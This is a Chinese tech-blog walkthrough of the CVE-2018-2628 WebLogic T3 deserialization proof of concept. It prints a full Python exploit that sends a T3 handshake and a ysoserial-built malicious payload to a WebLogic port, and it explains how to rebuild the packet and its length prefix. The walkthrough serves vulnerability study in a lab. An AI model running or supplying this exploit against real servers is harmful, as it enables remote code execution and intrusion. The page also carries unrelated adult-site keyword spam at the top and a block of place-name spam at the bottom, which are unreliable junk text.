91超碰碰碰碰久久久久久综合_超碰av人澡人澡人澡人澡人掠_国产黄大片在线观看画质优化_txt小说免费全本

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何從CVE-2018-2628 POC看T3反序列化

發布時間:2021-12-22 23:40:11 來源:億速云 閱讀:131 作者:柒染 欄目:網絡管理

如何從CVE-2018-2628 POC看T3反序列化,相信很多沒有經驗的人對此束手無策,為此本文總結了問題出現的原因和解決方法,通過這篇文章希望你能解決這個問題。

0x00 POC與T3握手信息

首先貼出一個大佬的POC:

https://blog.csdn.net/he_and/article/details/97924679

import binascii
import socket
import time
def t3():
    hello = 't3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n'
    host = ('127.0.0.1', 7001)
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(15)
    sock.connect(host)
    sock.send(hello.encode('utf-8'))
    time.sleep(1)
    resp1 = sock.recv(1024)
    print(resp1)
    data1 = '016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000'
    with open('poc', 'rb') as f:
        a = binascii.b2a_hex(f.read()).decode('utf-8')
        print(a)
    data = data1 + a
    data = '%s%s' % ('{:08x}'.format(len(data) // 2 + 4), data)
    sock.send(binascii.a2b_hex(data))
    time.sleep(2)
    sock.send(binascii.a2b_hex(data))
if __name__ == "__main__":
    t3()

這個POC的第一步,向weblogic的發送t3的握手信息,t3接收到信息之后,回復該握手信息。

那么先嘗試第一步:

如何從CVE-2018-2628 POC看T3反序列化

如何從CVE-2018-2628 POC看T3反序列化

0x01 T3數據頭提取

著看第二步的構造:

當我將data1中的16進制解碼時發現是亂碼,接著我去看了另一個大佬的文章:

https://d1iv3.me/2018/06/05/CVE-2015-4852-Weblogic-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96RCE%E5%88%86%E6%9E%90/。

然后去靶機上將/Oracle/Middleware/user_projects/domains/base_domain/bin/stopWebLogic.sh,進行修改,在這個腳本對另一個weblogic主機發送stop的請求的時候,會會發送T3的序列化數據,之后使用wireshark抓取該數據。

如何從CVE-2018-2628 POC看T3反序列化

追蹤兩個IP之間TCP流,并將其進行Hex

如何從CVE-2018-2628 POC看T3反序列化

熟悉反序列化流量特征的人都知道每一段序列化的數據都是以ac ed 00 05開頭,那就先在流量當中找到第一段序列化數據出現的位置。

如何從CVE-2018-2628 POC看T3反序列化

這里拋出一個T3數據流結構的概念:

上面的流量是有很多段的反序列數據構成的,weblogic后端會對其進行分段解析

那么根據大佬們提供的說明POC的構造方式1:

替換aced開頭的后面幾個序列化數據中的任意一個

如何從CVE-2018-2628 POC看T3反序列化

POC構造方式2

直接將包含數據包長度的第一部分和惡意序列化數據進行拼接(也就是用一個惡意序列化數據替換掉常規包中所有aced開頭的序列化數據)

如何從CVE-2018-2628 POC看T3反序列化

為了避免麻煩,直接采用第二種方式

這里先把第一段的非Java序列化數據給截取下來,最后整理得到的數據是這樣的

如何從CVE-2018-2628 POC看T3反序列化

0x02 T3數據構造

此時回頭再看一眼POC的后半段代碼:

data1 = '016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000'
    with open('poc', 'rb') as f:
        a = binascii.b2a_hex(f.read()).decode('utf-8')
        print(a)
    data = data1 + a
    data = '%s%s' % ('{:08x}'.format(len(data) // 2 + 4), data)
    sock.send(binascii.a2b_hex(data))
    time.sleep(2)
    sock.send(binascii.a2b_hex(data))
if __name__ == "__main__":
    t3()

在這里直接使用ysoserial.jar生成一段新建文件的poc

如何從CVE-2018-2628 POC看T3反序列化

a = binascii.b2a_hex(f.read()).decode('utf-8')

將其轉化為16進制的字符串表示

data = '%s%s' % ('{:08x}'.format(len(data) // 2 + 4), data)

這里對其字符串的字節長度進行求值,左補0方式求出本次發送數據包的長度(8位16進制),并將其作為作為數據包的開頭。

那么上面整理的TXT就出現了一些問題,出在了前四個字節上面,因為事前我們并不知道我們的字節有多少,需要重新進行計算。

如何從CVE-2018-2628 POC看T3反序列化

所以箭頭所指的地方是需要重新計算得到值的。

將構造好的POC代碼對靶機進行一次攻擊:

如何從CVE-2018-2628 POC看T3反序列化

查看是否新建了文件:

如何從CVE-2018-2628 POC看T3反序列化

到這里POC就已經分析完了。

看完上述內容,你們掌握如何從CVE-2018-2628 POC看T3反序列化的方法了嗎?如果還想學到更多技能或想了解更多相關內容,歡迎關注億速云行業資訊頻道,感謝各位的閱讀!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

威信县| 西贡区| 太保市| 霍城县| 弥勒县| 紫金县| 齐齐哈尔市| 文山县| 慈溪市| 图木舒克市| 岳普湖县| 古蔺县| 陆河县| 璧山县| 永济市| 宁明县| 贵德县| 永新县| 攀枝花市| 论坛| 金湖县| 扶绥县| 荥阳市| 布拖县| 武威市| 舞阳县| 鄄城县| 休宁县| 驻马店市| 丽江市| 城步| 翁源县| 霍邱县| 依兰县| 吉木萨尔县| 永清县| 尚义县| 调兵山市| 电白县| 桦南县| 湖州市|